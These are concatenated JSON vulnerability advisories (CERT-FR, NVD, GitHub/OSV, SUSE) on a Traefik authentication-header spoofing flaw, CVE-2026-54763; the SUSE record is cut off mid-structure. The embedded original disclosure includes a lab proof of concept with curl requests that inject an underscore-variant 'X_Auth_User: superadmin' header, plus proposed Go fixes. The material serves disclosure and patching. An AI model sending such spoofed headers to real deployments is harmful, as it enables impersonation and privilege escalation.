{
  "$ref": "https://www.cert.ssi.gouv.fr/openapi.json",
  "affected_systems": [
    {
      "description": "Traefik versions v3.6.x ant\u00e9rieures \u00e0 v3.6.22",
      "product": {
        "name": "Traefik",
        "vendor": {
          "name": "Traefik",
          "scada": false
        }
      }
    },
    {
      "description": "Traefik versions v2.11.x ant\u00e9rieures \u00e0 v2.11.51",
      "product": {
        "name": "Traefik",
        "vendor": {
          "name": "Traefik",
          "scada": false
        }
      }
    },
    {
      "description": "Traefik versions v3.7.x ant\u00e9rieures \u00e0 v3.7.6",
      "product": {
        "name": "Traefik",
        "vendor": {
          "name": "Traefik",
          "scada": false
        }
      }
    }
  ],
  "affected_systems_content": "",
  "content": "## Solutions\n\nSe r\u00e9f\u00e9rer au bulletin de s\u00e9curit\u00e9 de l\u0027\u00e9diteur pour l\u0027obtention des correctifs (cf. section Documentation).",
  "cves": [
    {
      "name": "CVE-2026-54763",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-54763"
    },
    {
      "name": "CVE-2026-54764",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-54764"
    },
    {
      "name": "CVE-2026-54765",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-54765"
    }
  ],
  "initial_release_date": "2026-07-02T00:00:00",
  "last_revision_date": "2026-07-02T00:00:00",
  "links": [],
  "reference": "CERTFR-2026-AVI-0823",
  "revisions": [
    {
      "description": "Version initiale",
      "revision_date": "2026-07-02T00:00:00.000000"
    }
  ],
  "risks": [
    {
      "description": "Contournement de la politique de s\u00e9curit\u00e9"
    }
  ],
  "summary": "De multiples vuln\u00e9rabilit\u00e9s ont \u00e9t\u00e9 d\u00e9couvertes dans Traefik. Elles permettent \u00e0 un attaquant de provoquer un contournement de la politique de s\u00e9curit\u00e9.",
  "title": "Multiples vuln\u00e9rabilit\u00e9s dans Traefik",
  "vendor_advisories": [
    {
      "published_at": "2026-07-01",
      "title": "Bulletin de s\u00e9curit\u00e9 Traefik GHSA-3q9r-p662-5j8m",
      "url": "https://github.com/traefik/traefik/security/advisories/GHSA-3q9r-p662-5j8m"
    },
    {
      "published_at": "2026-07-01",
      "title": "Bulletin de s\u00e9curit\u00e9 Traefik GHSA-6p8f-p8j2-rqmv",
      "url": "https://github.com/traefik/traefik/security/advisories/GHSA-6p8f-p8j2-rqmv"
    },
    {
      "published_at": "2026-07-01",
      "title": "Bulletin de s\u00e9curit\u00e9 Traefik GHSA-x677-9fxg-v5c5",
      "url": "https://github.com/traefik/traefik/security/advisories/GHSA-x677-9fxg-v5c5"
    }
  ]
}

{
  "$ref": "https://www.cert.ssi.gouv.fr/openapi.json",
  "affected_systems": [
    {
      "description": "Private 5G Core versions ant\u00e9rieures \u00e0 1.26.1.3",
      "product": {
        "name": "Private 5G Core",
        "vendor": {
          "name": "HPE Aruba Networking",
          "scada": false
        }
      }
    }
  ],
  "affected_systems_content": "",
  "content": "## Solutions\n\nSe r\u00e9f\u00e9rer au bulletin de s\u00e9curit\u00e9 de l\u0027\u00e9diteur pour l\u0027obtention des correctifs (cf. section Documentation).",
  "cves": [
    {
      "name": "CVE-2026-54763",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-54763"
    },
    {
      "name": "CVE-2026-33377",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-33377"
    }
  ],
  "initial_release_date": "2026-08-10T00:00:00",
  "last_revision_date": "2026-08-10T00:00:00",
  "links": [],
  "reference": "CERTFR-2026-AVI-0989",
  "revisions": [
    {
      "description": "Version initiale",
      "revision_date": "2026-08-10T00:00:00.000000"
    }
  ],
  "risks": [
    {
      "description": "Contournement de la politique de s\u00e9curit\u00e9"
    },
    {
      "description": "\u00c9l\u00e9vation de privil\u00e8ges"
    }
  ],
  "summary": "De multiples vuln\u00e9rabilit\u00e9s ont \u00e9t\u00e9 d\u00e9couvertes dans HPE Aruba Networking Private 5G Core. Elles permettent \u00e0 un attaquant de provoquer une \u00e9l\u00e9vation de privil\u00e8ges et un contournement de la politique de s\u00e9curit\u00e9.",
  "title": "Multiples vuln\u00e9rabilit\u00e9s dans HPE Aruba Networking Private 5G Core",
  "vendor_advisories": [
    {
      "published_at": "2026-08-07",
      "title": "Bulletin de s\u00e9curit\u00e9 HPE Aruba Networking HPESBNW05119",
      "url": "https://csaf.arubanetworking.hpe.com/2026/hpe_aruba_networking_-_hpesbnw05119.txt"
    }
  ]
}

{
  "affected": [
    {
      "affectedData": [
        {
          "product": "traefik",
          "vendor": "traefik",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c 2.11.51"
            },
            {
              "status": "affected",
              "version": "\u003e= 3.0.0-beta1, \u003c 3.6.22"
            },
            {
              "status": "affected",
              "version": "\u003e= 3.7.0-ea.1, \u003c 3.7.6"
            }
          ]
        }
      ],
      "source": "security-advisories@github.com"
    }
  ],
  "configurations": [
    {
      "nodes": [
        {
          "cpeMatch": [
            {
              "criteria": "cpe:2.3:a:traefik:traefik:*:*:*:*:*:*:*:*",
              "matchCriteriaId": "5AEF8E00-6A9F-4F16-BEC2-9CCF183AC647",
              "versionEndExcluding": "2.11.51",
              "vulnerable": true
            },
            {
              "criteria": "cpe:2.3:a:traefik:traefik:*:*:*:*:*:*:*:*",
              "matchCriteriaId": "A035A58C-BBD8-4E57-B6F3-A42E2F9CC4BC",
              "versionEndExcluding": "3.6.22",
              "versionStartIncluding": "3.0.0",
              "vulnerable": true
            },
            {
              "criteria": "cpe:2.3:a:traefik:traefik:*:*:*:*:*:*:*:*",
              "matchCriteriaId": "359A11C2-8FAA-436F-BB24-C2B166473FDC",
              "versionEndExcluding": "3.7.6",
              "versionStartIncluding": "3.7.0",
              "vulnerable": true
            }
          ],
          "negate": false,
          "operator": "OR"
        }
      ]
    }
  ],
  "cveTags": [],
  "descriptions": [
    {
      "lang": "en",
      "value": "Traefik is an HTTP reverse proxy and load balancer. Prior to v2.11.51, v3.6.22, and v3.7.6, Traefik\u0027s BasicAuth, DigestAuth, and ForwardAuth middlewares strip canonical-cased spoofed identity headers before writing Traefik\u0027s own value, but do not account for underscore-variant header names, which many backends normalize identically to dashed forms. An attacker able to reach a protected route can inject an underscore-variant header that survives Traefik\u0027s stripping and reaches the backend alongside, or on the unauthenticated ForwardAuth authResponseHeaders path instead of, the value Traefik intended to set, spoofing identity or authorization context. This issue is fixed in versions v2.11.51, v3.6.22, and v3.7.6."
    }
  ],
  "id": "CVE-2026-54763",
  "lastModified": "2026-07-08T20:16:52.803",
  "metrics": {
    "cvssMetricV31": [
      {
        "cvssData": {
          "attackComplexity": "LOW",
          "attackVector": "NETWORK",
          "availabilityImpact": "NONE",
          "baseScore": 10.0,
          "baseSeverity": "CRITICAL",
          "confidentialityImpact": "HIGH",
          "integrityImpact": "HIGH",
          "privilegesRequired": "NONE",
          "scope": "CHANGED",
          "userInteraction": "NONE",
          "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N",
          "version": "3.1"
        },
        "exploitabilityScore": 3.9,
        "impactScore": 5.8,
        "source": "nvd@nist.gov",
        "type": "Primary"
      }
    ],
    "cvssMetricV40": [
      {
        "cvssData": {
          "Automatable": "NOT_DEFINED",
          "Recovery": "NOT_DEFINED",
          "Safety": "NOT_DEFINED",
          "attackComplexity": "LOW",
          "attackRequirements": "NONE",
          "attackVector": "NETWORK",
          "availabilityRequirement": "NOT_DEFINED",
          "baseScore": 7.8,
          "baseSeverity": "HIGH",
          "confidentialityRequirement": "NOT_DEFINED",
          "exploitMaturity": "NOT_DEFINED",
          "integrityRequirement": "NOT_DEFINED",
          "modifiedAttackComplexity": "NOT_DEFINED",
          "modifiedAttackRequirements": "NOT_DEFINED",
          "modifiedAttackVector": "NOT_DEFINED",
          "modifiedPrivilegesRequired": "NOT_DEFINED",
          "modifiedSubAvailabilityImpact": "NOT_DEFINED",
          "modifiedSubConfidentialityImpact": "NOT_DEFINED",
          "modifiedSubIntegrityImpact": "NOT_DEFINED",
          "modifiedUserInteraction": "NOT_DEFINED",
          "modifiedVulnAvailabilityImpact": "NOT_DEFINED",
          "modifiedVulnConfidentialityImpact": "NOT_DEFINED",
          "modifiedVulnIntegrityImpact": "NOT_DEFINED",
          "privilegesRequired": "NONE",
          "providerUrgency": "NOT_DEFINED",
          "subAvailabilityImpact": "NONE",
          "subConfidentialityImpact": "HIGH",
          "subIntegrityImpact": "HIGH",
          "userInteraction": "NONE",
          "valueDensity": "NOT_DEFINED",
          "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:N/SC:H/SI:H/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
          "version": "4.0",
          "vulnAvailabilityImpact": "NONE",
          "vulnConfidentialityImpact": "NONE",
          "vulnIntegrityImpact": "NONE",
          "vulnerabilityResponseEffort": "NOT_DEFINED"
        },
        "source": "security-advisories@github.com",
        "type": "Secondary"
      }
    ],
    "ssvcV203": [
      {
        "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
        "ssvcData": {
          "id": "CVE-2026-54763",
          "options": [
            {
              "exploitation": "none"
            },
            {
              "automatable": "yes"
            },
            {
              "technicalImpact": "partial"
            }
          ],
          "role": "CISA Coordinator",
          "timestamp": "2026-07-08T17:13:29.094037Z",
          "version": "2.0.3"
        }
      }
    ]
  },
  "published": "2026-07-06T21:16:56.787",
  "references": [
    {
      "source": "security-advisories@github.com",
      "tags": [
        "Patch"
      ],
      "url": "https://github.com/traefik/traefik/commit/108a5264473a2cbc8f12d6d691a3c6553cdf2c1b"
    },
    {
      "source": "security-advisories@github.com",
      "tags": [
        "Issue Tracking"
      ],
      "url": "https://github.com/traefik/traefik/pull/13262"
    },
    {
      "source": "security-advisories@github.com",
      "tags": [
        "Patch",
        "Vendor Advisory"
      ],
      "url": "https://github.com/traefik/traefik/security/advisories/GHSA-x677-9fxg-v5c5"
    }
  ],
  "sourceIdentifier": "security-advisories@github.com",
  "vulnStatus": "Analyzed",
  "weaknesses": [
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-178"
        },
        {
          "lang": "en",
          "value": "CWE-290"
        },
        {
          "lang": "en",
          "value": "CWE-345"
        }
      ],
      "source": "security-advisories@github.com",
      "type": "Secondary"
    }
  ]
}

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 2.11.50"
      },
      "package": {
        "ecosystem": "Go",
        "name": "github.com/traefik/traefik/v2"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.11.51"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 3.6.21"
      },
      "package": {
        "ecosystem": "Go",
        "name": "github.com/traefik/traefik/v3"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.6.22"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 3.7.5"
      },
      "package": {
        "ecosystem": "Go",
        "name": "github.com/traefik/traefik/v3"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "3.7.0"
            },
            {
              "fixed": "3.7.6"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-54763"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-178",
      "CWE-290",
      "CWE-345"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-08-06T16:53:53Z",
    "nvd_published_at": "2026-07-06T21:16:56Z",
    "severity": "HIGH"
  },
  "details": "## Summary\n\nThere is a high severity vulnerability in Traefik\u0027s BasicAuth, DigestAuth, and ForwardAuth\nmiddlewares. The fix for CVE-2026-33433 stripped canonical-cased spoofed identity headers\n(e.g. `X-Auth-User`) before writing Traefik\u0027s own value, but did not account for\nunderscore-variant header names (e.g. `X_Auth_User`), which many backends normalize\nidentically to the dashed form. An attacker able to reach a protected route could inject\nan underscore-variant header that survives Traefik\u0027s stripping and reaches the backend\nalongside \u2014 or, on the unauthenticated ForwardAuth `authResponseHeaders` path, instead of\n\u2014 the value Traefik intended to set, spoofing identity or authorization context. This is\nfixed by setting the new `allowHeadersWithUnderscores: false` entry point option, which\nstrips all headers with underscores in their names before routing.\n\n## Patches\n\n- https://github.com/traefik/traefik/releases/tag/v2.11.51\n- https://github.com/traefik/traefik/releases/tag/v3.6.22\n- https://github.com/traefik/traefik/releases/tag/v3.7.6\n\n## For more information\n\nIf you have any questions or comments about this advisory, please [open an issue](https://github.com/traefik/traefik/issues).\n\n\u003cdetails\u003e\n\u003csummary\u003eOriginal Description\u003c/summary\u003e\n\n# Incomplete fix for CVE-2026-33433 + CVE-2026-39858 cross-cohort: `headerField` underscore-variant identity spoofing in BasicAuth / DigestAuth / ForwardAuth\n\n## Summary\n\nThe fix for CVE-2026-33433 (GHSA-qr99-7898-vr7c, \"BasicAuth/DigestAuth Identity Spoofing via Non-Canonical headerField\", patched in v2.11.42 / v3.6.12 / v3.7.0-ea.3) added `req.Header.Del(headerField)` before the literal-key writeback in `pkg/middlewares/auth/basic_auth.go` and `pkg/middlewares/auth/digest_auth.go`. Go\u0027s `Header.Del` calls `textproto.CanonicalMIMEHeaderKey` which canonicalizes ASCII CASE and treats `-` as a word separator \u2014 so the fix correctly strips canonical-cased attacker headers (`X-Auth-User`, `x-auth-user`, `X-AUTH-USER`, etc.).\n\nHowever, `textproto.CanonicalMIMEHeaderKey` does **NOT** treat `_` as a separator. Attacker-supplied **underscore-variant** headers such as `X_Auth_User` survive `Header.Del(\"X-Auth-User\")` intact and are forwarded to the backend alongside Traefik\u0027s own writeback. Many common backends (CGI/WSGI per RFC 3875, PHP `$_SERVER`, nginx with `underscores_in_headers on`, Tomcat / Java EE servlet containers, ASGI/WSGI frameworks) normalize `_` \u2194 `-` equivalently or expose both forms to application code that may read the attacker\u0027s value.\n\nThis is the **direct cross-cohort sibling** of the threat model the maintainer accepted in **CVE-2026-39858** (GHSA-5m6w-wvh7-57vm, \"Forwarded alias spoofing pre-auth decision bypass\"), which fixed the underscore-variant of the X-Forwarded-* family via `isManagedXHeader` in `pkg/middlewares/forwardedheaders/forwarded_header.go`. The CVE-2026-39858 advisory body states verbatim:\n\n\u003e \"When the backend normalizes underscore and dash header forms equivalently, an attacker can inject spoofed trust context \u2014 such as a trusted scheme or host \u2014 through the alias headers and bypass authentication on protected routes without valid credentials.\"\n\nThe same threat model applies to the operator-configurable `headerField` (BasicAuth, DigestAuth) and `authResponseHeaders` (ForwardAuth, ingress-nginx snippet provider), but the underscore-handling primitive (`isManagedXHeader`) was not extended to those middlewares. I verified the bypass end-to-end on `traefik:v3.6.14` (the latest patched release containing both fixes) using a default-recommended canonical `headerField: \"X-Auth-User\"` config and reproduced the bypass with a single `curl -H \"X_Auth_User: superadmin\" ...` request alongside valid BasicAuth credentials.\n\nThe defect is present in four code paths at HEAD `eec68dce064f843b4317c4393aaea81b6dea31d6`:\n\n1. `pkg/middlewares/auth/basic_auth.go:101-105` \u2014 BasicAuth `headerField`\n2. `pkg/middlewares/auth/digest_auth.go:99-103` \u2014 DigestAuth `headerField`\n3. `pkg/middlewares/auth/forward.go:304-310` \u2014 ForwardAuth `authResponseHeaders` per-name writeback\n4. `pkg/middlewares/ingressnginx/snippet/snippet.go:480-486` \u2014 Ingress-NGINX snippet `authResponseHeaders` per-name writeback\n\nThe ForwardAuth instance (#3) is particularly notable: the attacker does NOT need credentials. The `authResponseHeaders` mechanism is intended to copy identity headers from the trusted auth server only; the underscore-variant bypass lets an unauthenticated attacker pre-inject the same identity header before any auth happens.\n\nThe fast proxy at `pkg/proxy/fast/proxy.go:139` explicitly calls `DisableNormalizing()` on the outgoing fasthttp request, guaranteeing that the underscore-variant header reaches the backend wire verbatim. The standard `httputil.ReverseProxy` path at `pkg/proxy/httputil/proxy.go:55` likewise copies `req.Header` keys as-is during the wire write.\n\n## Affected versions\n\n- `traefik` v3.6.x \u2264 3.6.14, v3.7.x \u2264 3.7.0-rc.2, v2.11.x \u2264 2.11.43, and all earlier versions sharing the same auth middleware architecture.\n\nThe defect is present at HEAD post-CVE-2026-33433 fix (the fix added the `Del` line but the literal-key write defect-class survives for underscore variants).\n\n## Root cause\n\nIn `pkg/middlewares/auth/basic_auth.go` at HEAD `eec68dc`:\n\n```go\nif b.headerField != \"\" {\n    // TODO Deprecated we should add the header with canonical key.\n    req.Header.Del(b.headerField)\n    req.Header[b.headerField] = []string{user}\n}\n```\n\nThe TODO comment shows the maintainer is aware of the literal-key write problem in general (canonical-key write would solve the case-canonicalization issue more cleanly than the current `Del` + literal-write pair). The comment does not acknowledge the underscore-variant survival corollary.\n\n`pkg/middlewares/auth/digest_auth.go:99-103` and the two ForwardAuth paths follow the same `Del` + literal-write pattern. Each is independently exploitable; the underlying primitive defect is shared.\n\nThe maintainer\u0027s gold-standard primitive for handling this exact threat class is `pkg/middlewares/forwardedheaders/forwarded_header.go:53-66`:\n\n```go\nfunc isManagedXHeader(key string) bool {\n    if len(key) == 0 || key[0] != \u0027X\u0027 { return false }\n    if _, ok := XHeadersSet[key]; ok { return true }\n    if strings.IndexByte(key, \u0027_\u0027) \u003c 0 { return false }\n    canonical := http.CanonicalHeaderKey(strings.ReplaceAll(key, \"_\", \"-\"))\n    _, ok := XHeadersSet[canonical]\n    return ok\n}\n```\n\nThis treats `_` \u2194 `-` equivalence as a security requirement. It is reachable only via the static `XHeadersSet` membership check, which contains exclusively the X-Forwarded-* family + X-Real-Ip. Operator-configurable identity headers are out of scope of this primitive.\n\n## Proof of concept\n\nVerified on `traefik:v3.6.14` (the patched version, post-CVE-2026-33433 and post-CVE-2026-39858) using Docker compose. Full reproducer at https://github.com/\u003cattacker-repo\u003e/traefik-ht1a-poc; commands below are verbatim.\n\n### Setup\n\n```yaml\n# docker-compose.yml\nservices:\n  traefik:\n    image: traefik:v3.6.14\n    command:\n      - --providers.file.filename=/etc/traefik/dynamic.yml\n      - --entrypoints.web.address=:80\n    ports:\n      - \"8080:80\"\n    volumes:\n      - ./traefik/dynamic.yml:/etc/traefik/dynamic.yml:ro\n  echo:\n    image: mendhak/http-https-echo:36\n    environment:\n      - HTTP_PORT=8888\n```\n\n```yaml\n# traefik/dynamic.yml \u2014 canonical headerField, recommended operator config\nhttp:\n  routers:\n    protected:\n      rule: \"PathPrefix(`/`)\"\n      service: echo\n      middlewares: [basic-auth]\n  services:\n    echo:\n      loadBalancer:\n        servers: [{url: \"http://echo:8888\"}]\n  middlewares:\n    basic-auth:\n      basicAuth:\n        users:\n          - \u0027alice:$2b$05$FhDfYidZdDPuQjovYqcTAe22wHpQ/cILC7Tr2yAD6vLlvZh/Q45PC\u0027   # alice:secret123\n        headerField: \"X-Auth-User\"\n```\n\n`docker compose up -d`.\n\n### Test 1 (control \u2014 CVE-2026-33433 fix works for canonical case)\n\n```bash\n$ curl -s -u alice:secret123 -H \"X-Auth-User: superadmin\" http://localhost:8080/\n{\n  ...\n  \"x-auth-user\": \"alice\",\n  ...\n}\n```\n\nThe attacker\u0027s canonical `X-Auth-User: superadmin` was correctly stripped by Traefik\u0027s `Del`; the backend receives only Traefik\u0027s authenticated-user writeback `alice`.\n\n### Test 2 (HT-1A bypass \u2014 underscore variant survives)\n\n```bash\n$ curl -s -u alice:secret123 -H \"X_Auth_User: superadmin\" http://localhost:8080/\n{\n  ...\n  \"x-auth-user\": \"alice\",\n  \"x_auth_user\": \"superadmin\",\n  ...\n}\n```\n\nThe underscore-variant `x_auth_user: superadmin` reached the backend intact, despite the `Del(\"X-Auth-User\")` having executed. The backend sees both forms.\n\n### Test 3 (double-send \u2014 same result)\n\n```bash\n$ curl -s -u alice:secret123 \\\n    -H \"X-Auth-User: superadmin\" \\\n    -H \"X_Auth_User: superadmin\" \\\n    http://localhost:8080/\n{\n  ...\n  \"x-auth-user\": \"alice\",       # Traefik\u0027s writeback\n  \"x_auth_user\": \"superadmin\",  # attacker\u0027s underscore \u2014 survived Del\n  ...\n}\n```\n\nThe canonical attacker header is stripped (Test 1 behavior). The underscore variant is forwarded.\n\n### Backend impact\n\nThe PoC\u0027s echo backend (`mendhak/http-https-echo`, Node.js) preserves both forms with the lowercase normalization Node.js applies. Application code reading `req.headers[\"x-auth-user\"]` sees `alice`. Application code reading `req.headers[\"x_auth_user\"]` sees `superadmin`.\n\nFor backends that normalize `_` \u2194 `-` equivalently \u2014 meaning the attacker\u0027s value wins:\n\n- **CGI / WSGI / PHP `$_SERVER`** (RFC 3875 \u00a74.1.18 \u2014 header name uppercased with `-` replaced by `_`): both `X-Auth-User` and `X_Auth_User` map to `HTTP_X_AUTH_USER`. The last-set wins per the WSGI server\u0027s iteration order; many servers (gunicorn, uwsgi without `--disable-logging`, waitress) preserve both. Note: Apache + mod_php with default `HttpProtocolOptions Strict` filters underscore-headers from `$_SERVER` (this PoC\u0027s PHP backend test demonstrated the filter); Apache + mod_python, Apache + mod_wsgi without the strict mode, nginx + uwsgi, nginx + gunicorn, nginx + FastCGI, and standalone WSGI servers do NOT filter.\n- **nginx with `underscores_in_headers on`** (https://nginx.org/en/docs/http/ngx_http_core_module.html#underscores_in_headers): preserves underscore-variant headers and forwards them to upstream as separate values. Upstream application logic that does case-insensitive + underscore-insensitive matching (common pattern in security-sensitive code) merges them.\n- **Tomcat / Java EE servlet containers**: `HttpServletRequest.getHeader(name)` is case-insensitive; underscore handling is container-specific. Many normalize.\n- **Application middleware** (WAFs, log aggregators, security gateways, identity-aware proxies) that normalize header names before applying security policy: both forms collapse to the same authorization decision input.\n\n## Severity\n\nI propose **HIGH CVSS 7.5** for the BasicAuth / DigestAuth case and **CRITICAL CVSS 9.1** for the ForwardAuth `authResponseHeaders` case (the latter requires no credentials).\n\n**CVSS 3.1 vector (BasicAuth / DigestAuth)**: `AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N=7.5` \u2014 one step above CVE-2026-33433 (which the maintainer scored MEDIUM 5.1 because it required misconfigured non-canonical `headerField`). HT-1A works against the canonical / recommended `headerField` configuration, broader operational scope.\n\n**CVSS 3.1 vector (ForwardAuth `authResponseHeaders`)**: `AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N=9.1` \u2014 parallel to CVE-2026-39858 (HIGH 7.5) but achieves spoofing without credentials because the `authResponseHeaders` mechanism trusts headers exclusively from the auth server and the underscore variant defeats that trust boundary.\n\nCWEs:\n- CWE-290 (Authentication Bypass by Spoofing)\n- CWE-178 (Improper Handling of Case Sensitivity) \u2014 analogous to CVE-2026-29054\n- CWE-345 (Insufficient Verification of Data Authenticity) \u2014 same as CVE-2026-35051\n\n## Suggested fix\n\nTwo equivalent approaches:\n\n**1. Extend `Header.Del` to handle underscore variants** at the four call sites. Replace:\n\n```go\nreq.Header.Del(b.headerField)\nreq.Header[b.headerField] = []string{user}\n```\n\nwith:\n\n```go\ncanonical := http.CanonicalHeaderKey(b.headerField)\n// Strip canonical AND underscore-variant of the canonical key.\nfor key := range req.Header {\n    if key == canonical || strings.EqualFold(strings.ReplaceAll(key, \"_\", \"-\"), canonical) {\n        delete(req.Header, key)\n    }\n}\nreq.Header.Set(canonical, user)  // canonical-key write\n```\n\nThis pairs the headerField primitive with the same `_` \u2194 `-` equivalence that `isManagedXHeader` enforces for X-Forwarded-*.\n\n**2. Generalize the existing `isManagedXHeader` primitive** into a `stripHeaderAndVariants(headers http.Header, name string)` helper in the `forwardedheaders` package and call it from `basic_auth.go`, `digest_auth.go`, `forward.go`, and `snippet.go`. Reusing the existing gold-standard primitive is the cleanest fix and minimizes future drift.\n\nEither approach should also resolve the `// TODO Deprecated we should add the header with canonical key.` debt at `basic_auth.go:102` and `digest_auth.go:100` by writing to the canonical key (`Header.Set(canonical, user)`) instead of the literal `b.headerField`.\n\n## Why this is a Pattern-8 sibling, not a new CVE class\n\nThe combination of:\n\n1. CVE-2026-33433\u0027s fix scope (case-canonicalization for `headerField`)\n2. CVE-2026-39858\u0027s fix scope (underscore-variant for `XHeadersSet`)\n3. The defective primitive remaining at HEAD (the `Del` + literal-write pair at four call sites)\n\nestablishes that the maintainer accepts the threat model and has architectural primitives to fix it \u2014 but did not cross the two cohorts. The \"primitive depth-audit\" of the CVE-2026-33433 fix (reading the actual `Header.Del` implementation against the documented threat model and Go\u0027s canonicalization semantics) reveals the gap.\n\nI confirmed there is no public PoC mentioning underscore-variant siblings of CVE-2026-33433 (WebSearched 2026-05-23). The fix-flurry from the April 2026 security release batch addressed the X-Forwarded family but not the headerField family.\n\n## Credit\n\nMatteo Panzeri (GitHub `matte1782`). CVE credit requested.\n\n## AI-assistance disclosure\n\nStatic analysis, hypothesis writing, and hostile-review confirmation were assisted by Anthropic Claude (Opus 4.7). Live PoC reproduction, code-citation verification, and submission decision were made by the human author.\n\n\n\u003c/details\u003e\n\n---",
  "id": "GHSA-x677-9fxg-v5c5",
  "modified": "2026-08-06T16:53:53Z",
  "published": "2026-08-06T16:53:53Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/traefik/traefik/security/advisories/GHSA-x677-9fxg-v5c5"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-54763"
    },
    {
      "type": "WEB",
      "url": "https://github.com/traefik/traefik/pull/13262"
    },
    {
      "type": "WEB",
      "url": "https://github.com/traefik/traefik/commit/108a5264473a2cbc8f12d6d691a3c6553cdf2c1b"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/traefik/traefik"
    },
    {
      "type": "WEB",
      "url": "https://github.com/traefik/traefik/releases/tag/v2.11.51"
    },
    {
      "type": "WEB",
      "url": "https://github.com/traefik/traefik/releases/tag/v3.6.22"
    },
    {
      "type": "WEB",
      "url": "https://github.com/traefik/traefik/releases/tag/v3.7.6"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:N/SC:H/SI:H/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Traefik: Incomplete fix for CVE-2026-33433 + CVE-2026-39858 cross-cohort: headerField underscore-variant identity spoofing in BasicAuth / DigestAuth / ForwardAuth"
}

{
  "document": {
    "aggregate_severity": {
      "namespace": "https://www.suse.com/support/security/rating/",
      "text": "moderate"
    },
    "category": "csaf_security_advisory",
    "csaf_version": "2.0",
    "distribution": {
      "text": "Copyright 2024 SUSE LLC. All rights reserved.",
      "tlp": {
        "label": "WHITE",
        "url": "https://www.first.org/tlp/"
      }
    },
    "lang": "en",
    "notes": [
      {
        "category": "summary",
        "text": "traefik-3.7.7-1.1 on GA media",
        "title": "Title of the patch"
      },
      {
        "category": "description",
        "text": "These are all security issues fixed in the traefik-3.7.7-1.1 package on the GA media of openSUSE Tumbleweed.",
        "title": "Description of the patch"
      },
      {
        "category": "details",
        "text": "openSUSE-Tumbleweed-2026-11251",
        "title": "Patchnames"
      },
      {
        "category": "legal_disclaimer",
        "text": "CSAF 2.0 data is provided by SUSE under the Creative Commons License 4.0 with Attribution (CC-BY-4.0).",
        "title": "Terms of use"
      }
    ],
    "publisher": {
      "category": "vendor",
      "contact_details": "https://www.suse.com/support/security/contact/",
      "name": "SUSE Product Security Team",
      "namespace": "https://www.suse.com/"
    },
    "references": [
      {
        "category": "external",
        "summary": "SUSE ratings",
        "url": "https://www.suse.com/support/security/rating/"
      },
      {
        "category": "self",
        "summary": "URL of this CSAF notice",
        "url": "https://ftp.suse.com/pub/projects/security/csaf/opensuse-su-2026_11251-1.json"
      },
      {
        "category": "self",
        "summary": "SUSE CVE CVE-2026-54761 page",
        "url": "https://www.suse.com/security/cve/CVE-2026-54761/"
      },
      {
        "category": "self",
        "summary": "SUSE CVE CVE-2026-54762 page",
        "url": "https://www.suse.com/security/cve/CVE-2026-54762/"
      },
      {
        "category": "self",
        "summary": "SUSE CVE CVE-2026-54763 page",
        "url": "https://www.suse.com/security/cve/CVE-2026-54763/"
      },
      {
        "category": "self",
        "summary": "SUSE CVE CVE-2026-54764 page",
        "url": "https://www.suse.com/security/cve/CVE-2026-54764/"
      },
      {
        "category": "self",
        "summary": "SUSE CVE CVE-2026-54765 page",
        "url": "https://www.suse.com/security/cve/CVE-2026-54765/"
      }
    ],
    "title": "traefik-3.7.7-1.1 on GA media",
    "tracking": {
      "current_release_date": "2026-07-10T00:00:00Z",
      "generator": {
        "date": "2026-07-10T00:00:00Z",
        "engine": {
          "name": "cve-database.git:bin/generate-csaf.pl",
          "version": "1"
        }
      },
      "id": "openSUSE-SU-2026:11251-1",
      "initial_release_date": "2026-07-10T00:00:00Z",
      "revision_history": [
        {
          "date": "2026-07-10T00:00:00Z",
          "number": "1",
          "summary": "Current version"
        }
      ],
      "status": "final",
      "version": "1"
    }
  },
  "product_tree": {
    "branches": [
      {
        "branches": [
          {
            "branches": [
              {
                "category": "product_version",
                "name": "traefik-3.7.7-1.1.aarch64",
                "product": {
                  "name": "traefik-3.7.7-1.1.aarch64",
                  "product_id": "traefik-3.7.7-1.1.aarch64"
                }
              }
            ],
            "category": "architecture",
            "name": "aarch64"
          },
          {
            "branches": [
              {
                "category": "product_version",
                "name": "traefik-3.7.7-1.1.ppc64le",
                "product": {
                  "name": "traefik-3.7.7-1.1.ppc64le",
                  "product_id": "traefik-3.7.7-1.1.ppc64le"
                }
              }
            ],
            "category": "architecture",
            "name": "ppc64le"
          },
          {
            "branches": [
              {
                "category": "product_version",
                "name": "traefik-3.7.7-1.1.s390x",
                "product": {
